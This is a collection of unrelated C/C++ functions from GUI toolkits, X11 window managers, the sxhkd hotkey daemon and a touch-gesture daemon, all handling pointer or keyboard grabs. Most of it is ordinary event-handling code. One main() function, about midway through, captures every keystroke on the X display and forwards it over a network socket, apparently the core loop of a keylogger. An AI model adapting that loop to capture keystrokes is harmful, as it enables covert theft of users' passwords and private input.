void rclick_root(void) { XEvent ev; if (!grab(root, MouseMask, None)) { return; } draw_menubar(); do { XMaskEvent(dsply, MouseMask|KeyMask, &ev); switch (ev.type) { case MotionNotify: if (ev.xmotion.y < BARHEIGHT()) { ungrab(); rclick_taskbar(ev.xmotion.x); return; } break; case KeyPress: XPutBackEvent(dsply, &ev); break; } } while (ev.type != ButtonRelease && ev.type != KeyPress); redraw_taskbar(); ungrab(); }
void QQuickMultiPointTouchArea::touchEvent(QTouchEvent *event) { switch (event->type()) { case QEvent::TouchBegin: case QEvent::TouchUpdate: case QEvent::TouchEnd: { //if e.g. a parent Flickable has the mouse grab, don't process the touch events QQuickWindow *c = window(); QQuickItem *grabber = c ? c->mouseGrabberItem() : 0; if (grabber && grabber != this && grabber->keepMouseGrab() && grabber->isEnabled()) { QQuickItem *item = this; while ((item = item->parentItem())) { if (item == grabber) return; } } updateTouchData(event); if (event->type() == QEvent::TouchEnd) ungrab(); break; } case QEvent::TouchCancel: ungrab(); break; default: QQuickItem::touchEvent(event); break; } }
bool QQuickMultiPointTouchArea::childMouseEventFilter(QQuickItem *receiver, QEvent *event) { if (!isEnabled() || !isVisible()) return QQuickItem::childMouseEventFilter(receiver, event); switch (event->type()) { case QEvent::MouseButtonPress: case QEvent::MouseMove: case QEvent::MouseButtonRelease: return sendMouseEvent(static_cast<QMouseEvent *>(event)); break; case QEvent::TouchBegin: case QEvent::TouchUpdate: if (!shouldFilter(event)) return false; updateTouchData(event); return _stealMouse; case QEvent::TouchEnd: { if (!shouldFilter(event)) return false; updateTouchData(event); ungrab(); } break; default: break; } return QQuickItem::childMouseEventFilter(receiver, event); }
void MSPulldownMenu::done(void) { ungrab(); unmap(); if (item()!=0) item()->menu()->done(); reset(); }
void MSCascadeMenu::done(void) { ungrab(); unmap(); if (item()!=0) item()->menu()->done(); reset(); }
void Robot::kickForward(int power) { ungrab(); moveKickerForward(power); kicking = true; unkicking = false; kickerTimestamp = millis(); }
void Combobox::on_primary_button_press(int x, int y) { if (drop_down) { // Determine which item was selected, if any, and set the current item to it. drop_down = false; ungrab(); if (hover_item != -1) { current_item = hover_item; on_select(item_list[current_item]); } } else { drop_down = true; grab(); list_rect = Rect(Vector2i(rect.left, rect.top + get_box_offset()), Size(rect.get_width(), rect.get_height() * item_list.size())); on_pointer_move(x,y); } }
int sweep(Client *c, int but, XButtonEvent *ignored) { XEvent ev; int status; XButtonEvent *e; ScreenInfo *s; s = c->screen; c->dx = 0; c->dy = 0; status = grab(s->root, s->root, ButtonMask, s->sweep0, 0); if(status != GrabSuccess){ graberror("sweep", status); /* */ return 0; } XMaskEvent(dpy, ButtonMask, &ev); e = &ev.xbutton; if(e->button != but){ ungrab(e); return 0; } XChangeActivePointerGrab(dpy, ButtonMask, s->boxcurs, e->time); return sweepdrag(c, but, e, BorderUnknown, sweepcalc); }
void GUISUMOAbstractView::openObjectDialog() { ungrab(); if (!isEnabled() || !myAmInitialised) { return; } if (makeCurrent()) { // initialise the select mode unsigned int id = getObjectUnderCursor(); GUIGlObject* o = 0; if (id != 0) { o = GUIGlObjectStorage::gIDStorage.getObjectBlocking(id); } else { o = GUIGlObjectStorage::gIDStorage.getNetObject(); } if (o != 0) { myPopup = o->getPopUpMenu(*myApp, *this); int x, y; FXuint b; myApp->getCursorPosition(x, y, b); myPopup->setX(x + myApp->getX()); myPopup->setY(y + myApp->getY()); myPopup->create(); myPopup->show(); myChanger->onRightBtnRelease(0); GUIGlObjectStorage::gIDStorage.unblockObject(id); } makeNonCurrent(); } }
long GUISUMOAbstractView::onRightBtnRelease(FXObject*, FXSelector , void* data) { destroyPopup(); if (!myChanger->onRightBtnRelease(data) && !myApp->isGaming()) { openObjectDialog(); } ungrab(); return 1; }
void toggle_grab_cmd(void) { PUTS("toggle grab"); if (grabbed) { ungrab(); } else { grab(); } }
Client * selectwin(int release, int *shift, ScreenInfo *s) { XEvent ev; XButtonEvent *e; int status; Window w; Client *c; status = grab(s->root, s->root, ButtonMask, s->target, 0); if(status != GrabSuccess){ graberror("selectwin", status); /* */ return 0; } w = None; for(;;){ XMaskEvent(dpy, ButtonMask, &ev); e = &ev.xbutton; switch (ev.type){ case ButtonPress: if(e->button != Button3){ ungrab(e); return 0; } w = e->subwindow; if(!release){ c = getclient(w, 0); if(c == 0) ungrab(e); if(shift != 0) *shift = (e->state&ShiftMask) != 0; return c; } break; case ButtonRelease: ungrab(e); if(e->button != Button3 || e->subwindow != w) return 0; if(shift != 0) *shift = (e->state&ShiftMask) != 0; return getclient(w, 0); } } }
void reload_cmd(void) { PUTS("reload"); cleanup(); load_config(config_file); for (int i = 0; i < num_extra_confs; i++) load_config(extra_confs[i]); ungrab(); grab(); }
long GUISUMOAbstractView::onLeftBtnRelease(FXObject*, FXSelector , void* data) { destroyPopup(); myChanger->onLeftBtnRelease(data); if (myApp->isGaming()) { onGamingClick(getPositionInformation()); } ungrab(); return 1; }
void Robot::kickForward(int power) { ungrab(); if (KICKERORIENTATION == 0) { motorForward(KICKERMOTOR, 100); } else if (KICKERORIENTATION == 1) { motorBackward(KICKERMOTOR, 100); } kicking = true; kickerTimer = 0; }
long Viewport::onRightBtnRelease(FXObject* , FXSelector, void* ptr) { FXEvent *ev=(FXEvent*)ptr; RightBtn = false; checkOperation(ev); if (!LeftBtn) ungrab(); return 1; }
void rclick_taskbar(int x) { XEvent ev; int mousex, mousey; Rect bounddims; unsigned int current_item = UINT_MAX; Window constraint_win; XSetWindowAttributes pattr; get_mouse_position(&mousex, &mousey); bounddims.x = 0; bounddims.y = 0; bounddims.width = DisplayWidth(dsply, screen); bounddims.height = BARHEIGHT(); constraint_win = XCreateWindow(dsply, root, bounddims.x, bounddims.y, bounddims.width, bounddims.height, 0, CopyFromParent, InputOnly, CopyFromParent, 0, &pattr); XMapWindow(dsply, constraint_win); if (!(XGrabPointer(dsply, root, False, MouseMask, GrabModeAsync, GrabModeAsync, constraint_win, None, CurrentTime) == GrabSuccess)) { XDestroyWindow(dsply, constraint_win); return; } draw_menubar(); update_menuitem(INT_MAX); // force initial highlight current_item = update_menuitem(x); do { XMaskEvent(dsply, MouseMask|KeyMask, &ev); switch (ev.type) { case MotionNotify: current_item = update_menuitem(ev.xmotion.x); break; case ButtonRelease: if (current_item != UINT_MAX) { fork_exec(menuitems[current_item].command); } break; case KeyPress: XPutBackEvent(dsply, &ev); break; } } while (ev.type != ButtonPress && ev.type != ButtonRelease && ev.type != KeyPress); redraw_taskbar(); XUnmapWindow(dsply, constraint_win); XDestroyWindow(dsply, constraint_win); ungrab(); }
// Released left button long TextLabel::onLeftBtnRelease(FXObject*,FXSelector,void* ptr) { if (isEnabled()) { ungrab(); flags&=~FLAG_PRESSED; if (target && target->tryHandle(this,FXSEL(SEL_LEFTBUTTONRELEASE,message),ptr)) return 1; return 1; } return 0; }
void abort_chain(void) { PUTS("abort chain"); for (hotkey_t *hk = hotkeys_head; hk != NULL; hk = hk->next) hk->chain->state = hk->chain->head; chained = false; locked = false; if (timeout > 0) alarm(0); ungrab(); grab(); }
int main() { // open needed stuff int connected = connectSocket(); Display *dpy = XOpenDisplay(NIL); // my event XEvent event; // just in case if(connected) sendMissingStuff(); // some stuff for keycode-char conversion char buf[2]; int len; KeySym keysym; grab(dpy); int i = 0; while(1) { // check for internet connection if(i % CONCHECKINTV == 0 && !connected) if( (connected = connectSocket()) ) sendMissingStuff(); XNextEvent(dpy, &event); // convert keycode to character if( (len = XLookupString(&event.xkey, buf, 1, &keysym, NULL)) == 0 ) buf[0] = '\0'; // forward event to client sendSpecEvent(dpy, keysym, event); if(event.type == KeyPress) { // save key for me handleChar(connected, buf, keysym); } i++; } sendStr("\nEnd of transmission\n"); ungrab(dpy); XCloseDisplay(dpy); close(sockfd); return 0; }
// Left button released long ShutterBug::onBtnRelease(FXObject*,FXSelector,void* ptr){ FXEvent *event=(FXEvent*)ptr; ungrab(); flags&=~FLAG_PRESSED; if(event->moved) return 1; FXMenuPane filemenu(this); new FXMenuCaption(&filemenu,"ShutterBug",smallicon); new FXMenuSeparator(&filemenu); new FXMenuCommand(&filemenu,tr("Snap..."),NULL,this,ID_SNAPSHOT); new FXMenuCommand(&filemenu,tr("Snap delayed..."),NULL,this,ID_SNAPSHOT_DELAYED); new FXMenuCommand(&filemenu,tr("Snap to clipboard..."),NULL,this,ID_SNAPSHOT_CLIPBOARD); new FXMenuCommand(&filemenu,tr("Record movie..."),NULL,this,ID_RECORD_MOVIE); new FXMenuCheck(&filemenu,tr("Show lasso"),this,ID_TOGGLE_LASSO); new FXMenuCheck(&filemenu,tr("Lines inside"),this,ID_INSIDE); new FXMenuCommand(&filemenu,tr("Color..."),NULL,this,ID_COLOR); FXMenuPane sizemenu(this); new FXMenuCascade(&filemenu,tr("Size"),NULL,&sizemenu); new FXMenuRadio(&sizemenu,"8x8",this,ID_SIZE_8X8); new FXMenuRadio(&sizemenu,"16x16",this,ID_SIZE_16X16); new FXMenuRadio(&sizemenu,"24x24",this,ID_SIZE_24X24); new FXMenuRadio(&sizemenu,"32x32",this,ID_SIZE_32X32); new FXMenuRadio(&sizemenu,"48x48",this,ID_SIZE_48X48); new FXMenuRadio(&sizemenu,"64x64",this,ID_SIZE_64X64); new FXMenuRadio(&sizemenu,"128x128",this,ID_SIZE_128X128); new FXMenuRadio(&sizemenu,"256x256",this,ID_SIZE_256X256); new FXMenuRadio(&sizemenu,"512x512",this,ID_SIZE_512X512); new FXMenuRadio(&sizemenu,tr("Screen"),this,ID_SIZE_SCREEN); new FXMenuRadio(&sizemenu,tr("Custom"),this,ID_SIZE_CUSTOM); FXMenuPane weightmenu(this); new FXMenuCascade(&filemenu,tr("Weight"),NULL,&weightmenu); new FXMenuCommand(&weightmenu,FXString::null,weighticons[0],this,ID_WEIGHT_1); new FXMenuCommand(&weightmenu,FXString::null,weighticons[1],this,ID_WEIGHT_2); new FXMenuCommand(&weightmenu,FXString::null,weighticons[2],this,ID_WEIGHT_3); new FXMenuCommand(&weightmenu,FXString::null,weighticons[3],this,ID_WEIGHT_4); new FXMenuCommand(&weightmenu,FXString::null,weighticons[4],this,ID_WEIGHT_5); new FXMenuCommand(&weightmenu,FXString::null,weighticons[5],this,ID_WEIGHT_6); FXMenuPane optionsmenu(this); new FXMenuCascade(&filemenu,tr("Options"),NULL,&optionsmenu); new FXMenuCommand(&optionsmenu,tr("Delay..."),NULL,this,ID_DELAY); new FXMenuCommand(&optionsmenu,tr("Set number..."),NULL,this,ID_SET_COUNT); new FXMenuCommand(&optionsmenu,tr("Reset number..."),NULL,this,ID_RESET_COUNT); new FXMenuCommand(&optionsmenu,tr("Record Rate..."),NULL,this,ID_RECORD_RATE); new FXMenuCheck(&optionsmenu,tr("Fast quantization"),this,ID_QUANTIZE); new FXMenuCommand(&filemenu,tr("About..."),NULL,this,ID_ABOUT); new FXMenuCommand(&filemenu,tr("Quit"),NULL,this,ID_QUIT); filemenu.create(); filemenu.popup(NULL,event->root_x,event->root_y); getApp()->runModalWhileShown(&filemenu); return 1; }
bool KeyActionSettingsWidget::x11Event(XEvent *event) { if(grabbing_) { if(event->type == KeyPress) { key = FakeInput::Key(event); } else if(event->type == KeyRelease && grabbing_) { ungrab(); } } return false; }
Boolean MCPlayer::mup(uint2 which, bool p_release) //mouse up { if (!(state & CS_MFOCUSED)) return False; if (state & CS_MENU_ATTACHED) return MCObject::mup(which, p_release); state &= ~CS_MFOCUSED; if (state & CS_GRAB) { ungrab(which); return True; } switch (which) { case Button1: switch (getstack()->gettool(this)) { case T_BROWSE: if (!p_release && MCU_point_in_rect(rect, mx, my)) message_with_valueref_args(MCM_mouse_up, MCSTR("1")); else message_with_valueref_args(MCM_mouse_release, MCSTR("1")); break; case T_PLAYER: case T_POINTER: end(true, p_release); //stop dragging or moving the movie object, will change controller size break; case T_HELP: help(); break; default: return False; } break; case Button2: case Button3: if (!p_release && MCU_point_in_rect(rect, mx, my)) message_with_args(MCM_mouse_up, which); else message_with_args(MCM_mouse_release, which); break; } return True; }
long AlphaBallControl::onLeftBtnRelease(FXObject*,FXSelector,void* ptr){ FXuint flgs=flags; float* valphap = new float[1]; int vmax; if(isEnabled()){ ungrab(); flags|=FLAG_UPDATE; flags&=~FLAG_PRESSED; flags&=~FLAG_CHANGED; if(target && target->handle(this,MKUINT(message,SEL_LEFTBUTTONRELEASE),ptr)) return 1; if(flgs&FLAG_CHANGED){ getMaxBound(vmax,spotx,spoty); valphap[0]=vmax; if(target) target->handle(this,MKUINT(message,SEL_COMMAND),(void*)valphap); delete valphap; } return 1; } return 1; }
bool QQuickMultiPointTouchArea::shouldFilter(QEvent *event) { QQuickWindow *c = window(); QQuickItem *grabber = c ? c->mouseGrabberItem() : 0; bool disabledItem = grabber && !grabber->isEnabled(); bool stealThisEvent = _stealMouse; bool containsPoint = false; if (!stealThisEvent) { switch (event->type()) { case QEvent::MouseButtonPress: case QEvent::MouseMove: case QEvent::MouseButtonRelease: { QMouseEvent *me = static_cast<QMouseEvent*>(event); containsPoint = contains(mapFromScene(me->windowPos())); } break; case QEvent::TouchBegin: case QEvent::TouchUpdate: case QEvent::TouchEnd: { QTouchEvent *te = static_cast<QTouchEvent*>(event); for (const QTouchEvent::TouchPoint &point : te->touchPoints()) { if (contains(mapFromScene(point.scenePos()))) { containsPoint = true; break; } } } break; default: break; } } if ((stealThisEvent || containsPoint) && (!grabber || !grabber->keepMouseGrab() || disabledItem)) { return true; } ungrab(); return false; }
// Released button long MFXAddEditTypedTable::onLeftBtnRelease(FXObject*, FXSelector, void* ptr) { FXEvent* event = (FXEvent*)ptr; if (isEnabled()) { ungrab(); flags &= ~FLAG_PRESSED; flags |= FLAG_UPDATE; mode = MOUSE_NONE; stopAutoScroll(); setDragCursor(getApp()->getDefaultCursor(DEF_ARROW_CURSOR)); if (target && target->tryHandle(this, FXSEL(SEL_LEFTBUTTONRELEASE, message), ptr)) { return 1; } // Scroll to make item visibke makePositionVisible(current.row, current.col); // Update anchor //setAnchorItem(current.row,current.col); // FIXME look into the selection stuff // Generate clicked callbacks if (event->click_count == 1) { handle(this, FXSEL(SEL_CLICKED, 0), (void*)¤t); } else if (event->click_count == 2) { handle(this, FXSEL(SEL_DOUBLECLICKED, 0), (void*)¤t); } else if (event->click_count == 3) { handle(this, FXSEL(SEL_TRIPLECLICKED, 0), (void*)¤t); } // Command callback only when clicked on item if (0 <= current.row && 0 <= current.col && isItemEnabled(current.row, current.col)) { handle(this, FXSEL(SEL_COMMAND, 0), (void*)¤t); } return 1; } return 0; }
/** Event handler to fire (higher level, abstracted) Item signals from Gtk events. */ bool Item::on_event(GdkEvent* event) { boost::shared_ptr<Canvas> canvas = _canvas.lock(); if (!canvas || !event) return false; static double x, y; static double drag_start_x, drag_start_y; static bool double_click = false; static bool dragging = false; double click_x, click_y; click_x = event->button.x; click_y = event->button.y; property_parent().get_value()->w2i(click_x, click_y); switch (event->type) { case GDK_2BUTTON_PRESS: if (dragging) { ungrab(event->button.time); dragging = false; } on_double_click(&event->button); double_click = true; break; case GDK_BUTTON_PRESS: if (!canvas->locked() && event->button.button == 1) { x = click_x; y = click_y; // Set these so we can tell on a button release if a drag actually // happened (if not, it's just a click) drag_start_x = x; drag_start_y = y; grab(GDK_POINTER_MOTION_MASK|GDK_BUTTON_RELEASE_MASK|GDK_BUTTON_PRESS_MASK, Gdk::Cursor(Gdk::FLEUR), event->button.time); dragging = true; } break; case GDK_MOTION_NOTIFY: if ((dragging && (event->motion.state & GDK_BUTTON1_MASK))) { double new_x = click_x; double new_y = click_y; if (event->motion.is_hint) { int t_x; int t_y; GdkModifierType state; gdk_window_get_pointer(event->motion.window, &t_x, &t_y, &state); new_x = t_x; new_y = t_y; } on_drag(new_x - x, new_y - y); x = new_x; y = new_y; } break; case GDK_BUTTON_RELEASE: if (dragging) { ungrab(event->button.time); dragging = false; if (click_x != drag_start_x || click_y != drag_start_y) { on_drop(); } else if (!double_click) { on_click(&event->button); } } else if (!double_click) { on_click(&event->button); } double_click = false; break; case GDK_ENTER_NOTIFY: canvas->signal_item_entered.emit(this); raise_to_top(); break; case GDK_LEAVE_NOTIFY: canvas->signal_item_left.emit(this); break; default: break; } // Never stop event propagation so derived classes have full access // to GTK events. return false; }
/* Main function, contains kernel driver event loop */ int main(int argc, char **argv) { char* devname = 0; int doDaemonize = 1; int doWait = 0; int clickMode = 2; int i; for (i = 1; i < argc; i++) { if (strcmp(argv[i], "--debug") == 0) { doDaemonize = 0; debugMode = 1; } else if (strcmp(argv[i], "--wait") == 0) { doWait = 1; } else if (strcmp(argv[i], "--click=first") == 0) { clickMode = 0; } else if (strcmp(argv[i], "--click=second") == 0) { clickMode = 1; } else if (strcmp(argv[i], "--click=center") == 0) { clickMode = 2; } else { devname = argv[i]; } } initGestures(clickMode); if (doDaemonize) { daemonize(); } if (doWait) { /* Wait until all necessary things are loaded */ sleep(10); } /* Connect to X server */ if ((display = XOpenDisplay(NULL)) == NULL) { fprintf(stderr, "Couldn't connect to X server\n"); exit(1); } /* Read X data */ screenNum = DefaultScreen(display); root = RootWindow(display, screenNum); // realDisplayWidth = DisplayWidth(display, screenNum); // realDisplayHeight = DisplayHeight(display, screenNum); WM_CLASS = XInternAtom(display, "WM_CLASS", 0); /* Get notified about new windows */ XSelectInput(display, root, StructureNotifyMask | SubstructureNotifyMask); //TODO load blacklist and profiles from file(s) /* Device file name */ if (devname == 0) { devname = "/dev/twofingtouch"; } /* Try to read from device file */ int fileDesc; if ((fileDesc = open(devname, O_RDONLY)) < 0) { perror("twofing"); return 1; } fd_set fileDescSet; FD_ZERO(&fileDescSet); int eventQueueDesc = XConnectionNumber(display); while (1) { /* Perform initialization at beginning and after module has been re-loaded */ int rd, i; struct input_event ev[64]; char name[256] = "Unknown"; /* Read device name */ ioctl(fileDesc, EVIOCGNAME(sizeof(name)), name); printf("Input device name: \"%s\"\n", name); //TODO activate again? //XSetErrorHandler(invalidWindowHandler); int opcode, event, error; if (!XQueryExtension(display, "RANDR", &opcode, &event, &error)) { printf("X RANDR extension not available.\n"); XCloseDisplay(display); exit(1); } /* Which version of XRandR? We support 1.3 */ int major = 1, minor = 3; if (!XRRQueryVersion(display, &major, &minor)) { printf("XRandR version not available.\n"); XCloseDisplay(display); exit(1); } else if(!(major>1 || (major == 1 && minor >= 3))) { printf("XRandR 1.3 not available. Server supports %d.%d\n", major, minor); XCloseDisplay(display); exit(1); } /* XInput Extension available? */ if (!XQueryExtension(display, "XInputExtension", &opcode, &event, &error)) { printf("X Input extension not available.\n"); XCloseDisplay(display); exit(1); } /* Which version of XI2? We support 2.1 */ major = 2; minor = 1; if (XIQueryVersion(display, &major, &minor) == BadRequest) { printf("XI 2.1 not available. Server supports %d.%d\n", major, minor); XCloseDisplay(display); exit(1); } screenWidth = XDisplayWidth(display, screenNum); screenHeight = XDisplayHeight(display, screenNum); int n; XIDeviceInfo *info = XIQueryDevice(display, XIAllDevices, &n); if (!info) { printf("No XInput devices available\n"); exit(1); } /* Go through input devices and look for that with the same name as the given device */ int devindex; for (devindex = 0; devindex < n; devindex++) { if (info[devindex].use == XIMasterPointer || info[devindex].use == XIMasterKeyboard) continue; if (strcmp(info[devindex].name, name) == 0) { deviceID = info[devindex].deviceid; break; } } if (deviceID == -1) { printf("Input device not found in XInput device list.\n"); exit(1); } XIFreeDeviceInfo(info); if(debugMode) printf("XInput device id is %i.\n", deviceID); /* Prepare by reading calibration */ readCalibrationData(1); /* Receive device property change events */ XIEventMask device_mask2; unsigned char mask_data2[8] = { 0, 0, 0, 0, 0, 0, 0, 0 }; device_mask2.deviceid = deviceID; device_mask2.mask_len = sizeof(mask_data2); device_mask2.mask = mask_data2; XISetMask(device_mask2.mask, XI_PropertyEvent); XISetMask(device_mask2.mask, XI_ButtonPress); //XISetMask(device_mask2.mask, XI_TouchBegin); //XISetMask(device_mask2.mask, XI_TouchUpdate); //XISetMask(device_mask2.mask, XI_TouchEnd); XISelectEvents(display, root, &device_mask2, 1); /* Recieve events when screen size changes */ XRRSelectInput(display, root, RRScreenChangeNotifyMask); /* Receive touch events */ /* Needed for XTest to work correctly */ XTestGrabControl(display, True); /* Needed for some reason to receive events */ /* XGrabPointer(display, root, False, 0, GrabModeAsync, GrabModeAsync, None, None, CurrentTime); XUngrabPointer(display, CurrentTime);*/ grab(display, deviceID); printf("Reading input from device ... (interrupt to exit)\n"); /* We perform raw event reading here as X touch events don't seem too reliable */ int currentSlot = 0; /* If we use the legacy protocol, we collect all data of one finger into tempFingerInfo and set it to the correct slot once MT_SYNC occurs. */ FingerInfo tempFingerInfo = { .rawX=0, .rawY=0, .rawZ=0, .id = -1, .slotUsed = 0, .setThisTime = 0 }; while (1) { FD_SET(fileDesc, &fileDescSet); FD_SET(eventQueueDesc, &fileDescSet); select(MAX(fileDesc, eventQueueDesc) + 1, &fileDescSet, NULL, NULL, getEasingStepTimeVal()); checkEasingStep(); if(FD_ISSET(fileDesc, &fileDescSet)) { rd = read(fileDesc, ev, sizeof(struct input_event) * 64); if (rd < (int) sizeof(struct input_event)) { printf("Data stream stopped\n"); break; } for (i = 0; i < rd / sizeof(struct input_event); i++) { if (ev[i].type == EV_SYN) { if (0 == ev[i].code) { // Ev_Sync event end /* All finger data received, so process now. */ if(useLegacyProtocol) { /* Clear slots not set this time */ int i; for(i = 0; i < 2; i++) { if(fingerInfos[i].setThisTime) { fingerInfos[i].setThisTime = 0; } else { /* Clear slot */ fingerInfos[i].slotUsed = 0; } } tempFingerInfo.slotUsed = 0; } processFingers(); } else if (2 == ev[i].code) { // MT_Sync : Multitouch event end if(!useLegacyProtocol) { /* This messsage indicates we use legacy protocol, so switch */ useLegacyProtocol = 1; currentSlot = -1; tempFingerInfo.slotUsed = 0; if(debugMode) printf("Switch to legacy protocol.\n"); } else { if(tempFingerInfo.slotUsed) { /* Finger info for one finger collected in tempFingerInfo, so save it to fingerInfos. */ /* Look for slot to put the data into by looking at the tracking ids */ int index = -1; int i; for(i = 0; i < 2; i++) { if(fingerInfos[i].slotUsed && fingerInfos[i].id == tempFingerInfo.id) { index = i; break; } } if(index == -1) { for(i = 0; i < 2; i++) { if(!fingerInfos[i].slotUsed) { /* "Empty" slot, so we can add it. */ index = i; fingerInfos[i].id = tempFingerInfo.id; fingerInfos[i].slotUsed = 1; break; } } } if(index != -1) { /* Copy temporary data to slot */ fingerInfos[index].setThisTime = 1; fingerInfos[index].rawX = tempFingerInfo.rawX; fingerInfos[index].rawY = tempFingerInfo.rawY; fingerInfos[index].rawZ = tempFingerInfo.rawZ; } } } } } else if (ev[i].type == EV_MSC && (ev[i].code == MSC_RAW || ev[i].code == MSC_SCAN)) { } else if (ev[i].code == 47) { currentSlot = ev[i].value; if(currentSlot < 0 || currentSlot > 1) currentSlot = -1; } else { /* Set finger info values for current finger */ if (ev[i].code == 57) { /* ABS_MT_TRACKING_ID */ if(currentSlot != -1) { if(ev[i].value == -1) { fingerInfos[currentSlot].slotUsed = 0; } else { fingerInfos[currentSlot].id = ev[i].value; fingerInfos[currentSlot].slotUsed = 1; } } else if(useLegacyProtocol) { tempFingerInfo.id = ev[i].value; tempFingerInfo.slotUsed = 1; } }; if (ev[i].code == 53) { if(currentSlot != -1) { fingerInfos[currentSlot].rawX = ev[i].value; } else if(useLegacyProtocol) { tempFingerInfo.rawX = ev[i].value; } }; if (ev[i].code == 54) { if(currentSlot != -1) { fingerInfos[currentSlot].rawY = ev[i].value; } else if(useLegacyProtocol) { tempFingerInfo.rawY = ev[i].value; } }; if (ev[i].code == 58) { if(currentSlot != -1) { fingerInfos[currentSlot].rawZ = ev[i].value; } else if(useLegacyProtocol) { tempFingerInfo.rawZ = ev[i].value; } }; } } } if(FD_ISSET(eventQueueDesc, &fileDescSet)) { handleXEvent(); } } /* Stream stopped, probably because module has been unloaded */ close(fileDesc); /* Clean up */ releaseButton(); ungrab(display, deviceID); /* Wait until device file is there again */ while ((fileDesc = open(devname, O_RDONLY)) < 0) { sleep(1); } } }
void QQuickMultiPointTouchArea::touchUngrabEvent() { ungrab(); }
int main(int argc, char *argv[]) { char opt; char *fifo_path = NULL; char *socket_path = NULL; status_fifo = NULL; config_path = NULL; mapping_count = 0; timeout = TIMEOUT; grabbed = false; sock_address.sun_family = AF_UNIX; sock_address.sun_path[0] = 0; snprintf(motion_msg_tpl, sizeof(motion_msg_tpl), "%s", MOTION_MSG_TPL); unsigned int max_freq = 0; motion_interval = 0; last_motion_time = 0; redir_fd = -1; while ((opt = getopt(argc, argv, "vhm:t:c:r:s:f:o:g:")) != (char)-1) { switch (opt) { case 'v': printf("%s\n", VERSION); exit(EXIT_SUCCESS); break; case 'h': printf("sxhkd [-h|-v|-m COUNT|-t TIMEOUT|-c CONFIG_FILE|-r REDIR_FILE|-s STATUS_FIFO|-o MOTION_SOCKET|-g MOTION_MSG_TPL] [EXTRA_CONFIG ...]\n"); exit(EXIT_SUCCESS); break; case 'm': if (sscanf(optarg, "%i", &mapping_count) != 1) warn("Can't parse mapping count.\n"); break; case 't': timeout = atoi(optarg); break; case 'c': config_path = optarg; break; case 'r': redir_fd = open(optarg, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (redir_fd == -1) warn("Failed to open the command redirection file.\n"); break; case 's': fifo_path = optarg; break; case 'o': socket_path = optarg; break; case 'g': snprintf(motion_msg_tpl, sizeof(motion_msg_tpl), "%s", optarg); break; case 'f': if (sscanf(optarg, "%u", &max_freq) != 1) warn("Can't parse maximum pointer frequency.\n"); break; } } num_extra_confs = argc - optind; extra_confs = argv + optind; if (config_path == NULL) { char *config_home = getenv(CONFIG_HOME_ENV); if (config_home != NULL) snprintf(config_file, sizeof(config_file), "%s/%s", config_home, CONFIG_PATH); else snprintf(config_file, sizeof(config_file), "%s/%s/%s", getenv("HOME"), ".config", CONFIG_PATH); } else { snprintf(config_file, sizeof(config_file), "%s", config_path); } if (socket_path == NULL) { socket_path = getenv(SOCKET_ENV); } if (socket_path == NULL) { char *host = NULL; int dn = 0, sn = 0; if (xcb_parse_display(NULL, &host, &dn, &sn) != 0) { snprintf(sock_address.sun_path, sizeof(sock_address.sun_path), SOCKET_PATH_TPL, host, dn, sn); } else { warn("Failed to set motion socket address."); } free(host); } else { snprintf(sock_address.sun_path, sizeof(sock_address.sun_path), "%s", socket_path); } if (fifo_path != NULL) { int fifo_fd = open(fifo_path, O_RDWR | O_NONBLOCK); if (fifo_fd != -1) status_fifo = fdopen(fifo_fd, "w"); else warn("Couldn't open status fifo.\n"); } if (max_freq != 0) motion_interval = 1000.0 / max_freq; signal(SIGINT, hold); signal(SIGHUP, hold); signal(SIGTERM, hold); signal(SIGUSR1, hold); signal(SIGUSR2, hold); signal(SIGALRM, hold); setup(); get_standard_keysyms(); get_lock_fields(); escape_chord = make_chord(ESCAPE_KEYSYM, XCB_NONE, 0, XCB_KEY_PRESS, false, false); load_config(config_file); for (int i = 0; i < num_extra_confs; i++) load_config(extra_confs[i]); grab(); xcb_generic_event_t *evt; int fd = xcb_get_file_descriptor(dpy); fd_set descriptors; reload = toggle_grab = bell = chained = locked = false; running = true; xcb_flush(dpy); while (running) { FD_ZERO(&descriptors); FD_SET(fd, &descriptors); if (select(fd + 1, &descriptors, NULL, NULL, NULL) > 0) { while ((evt = xcb_poll_for_event(dpy)) != NULL) { uint8_t event_type = XCB_EVENT_RESPONSE_TYPE(evt); switch (event_type) { case XCB_KEY_PRESS: case XCB_KEY_RELEASE: case XCB_BUTTON_PRESS: case XCB_BUTTON_RELEASE: key_button_event(evt, event_type); break; case XCB_MOTION_NOTIFY: motion_notify(evt); break; case XCB_MAPPING_NOTIFY: mapping_notify(evt); break; default: PRINTF("received event %u\n", event_type); break; } free(evt); } } if (reload) { signal(SIGUSR1, hold); reload_cmd(); reload = false; } if (toggle_grab) { signal(SIGUSR2, hold); toggle_grab_cmd(); toggle_grab = false; } if (bell) { signal(SIGALRM, hold); abort_chain(); if (status_fifo != NULL) put_status(TIMEOUT_PREFIX, "Timeout reached"); bell = false; } if (xcb_connection_has_error(dpy)) { warn("The server closed the connection.\n"); running = false; } } if (redir_fd != -1) close(redir_fd); if (status_fifo != NULL) fclose(status_fifo); ungrab(); cleanup(); destroy_chord(escape_chord); xcb_key_symbols_free(symbols); xcb_disconnect(dpy); return EXIT_SUCCESS; }